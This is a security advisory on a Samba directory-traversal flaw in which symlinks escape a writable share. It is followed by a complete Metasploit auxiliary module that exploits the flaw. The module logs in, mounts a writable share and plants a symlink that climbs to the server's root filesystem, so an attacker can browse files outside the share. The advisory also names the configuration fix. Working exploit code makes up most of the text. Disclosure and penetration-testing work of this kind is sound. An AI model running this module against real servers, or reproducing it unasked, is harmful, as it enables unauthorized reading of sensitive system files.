source: http://www.securityfocus.com/bid/38111/info

Samba is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploits would allow an attacker to access files outside of the Samba user's root directory to obtain sensitive information and perform other attacks.

To exploit this issue, attackers require authenticated access to a writable share. Note that this issue may be exploited through a writable share accessible by guest accounts.

NOTE: The vendor stated that this issue stems from an insecure default configuration. The Samba team advises administrators to set 'wide links = no' in the '[global]' section of 'smb.conf'.

##
# $Id: samba_symlink_traversal.rb 8369 2010-02-05 06:38:24Z hdm $
##

##
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##


require 'msf/core'


class Metasploit3 < Msf::Auxiliary

	# Exploit mixins should be called first
	include Msf::Exploit::Remote::DCERPC
	include Msf::Exploit::Remote::SMB
	include Msf::Auxiliary::Report

	# Aliases for common classes
	SIMPLE = Rex::Proto::SMB::SimpleClient
	XCEPT  = Rex::Proto::SMB::Exceptions
	CONST  = Rex::Proto::SMB::Constants


	def initialize
		super(
			'Name'        => 'Samba Symlink Directory Traversal',
			'Version'     => '$Revision: 8369 $',
			'Description' => %Q{
				This module exploits a directory traversal flaw in the Samba
			CIFS server. To exploit this flaw, a writeable share must be specified.
			The newly created directory will link to the root filesystem.
			},
			'Author'      =>
				[
					'kcope', # http://lists.grok.org.uk/pipermail/full-disclosure/2010-February/072927.html
					'hdm'    # metasploit module
				],
			'License'     => MSF_LICENSE
		)

		register_options([
			OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server']),
			OptString.new('SMBTARGET', [true, 'The name of the directory that should point to the root filesystem', 'rootfs'])
		], self.class)

	end


	def run
		print_status("Connecting to the server...")
		connect()
		smb_login()

		print_status("Trying to mount writeable share #{datastore['SMBSHARE']}...")
		self.simple.connect(datastore['SMBSHARE'])

		print_status("Trying to link '#{datastore['SMBTARGET']}' to the root filesystem...")
		self.simple.client.symlink(datastore['SMBTARGET'], "../" * 10)

		print_status("Now access the following share to browse the root filesystem:")
		print_status("\t\\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\")
		print_line("")
	end

end
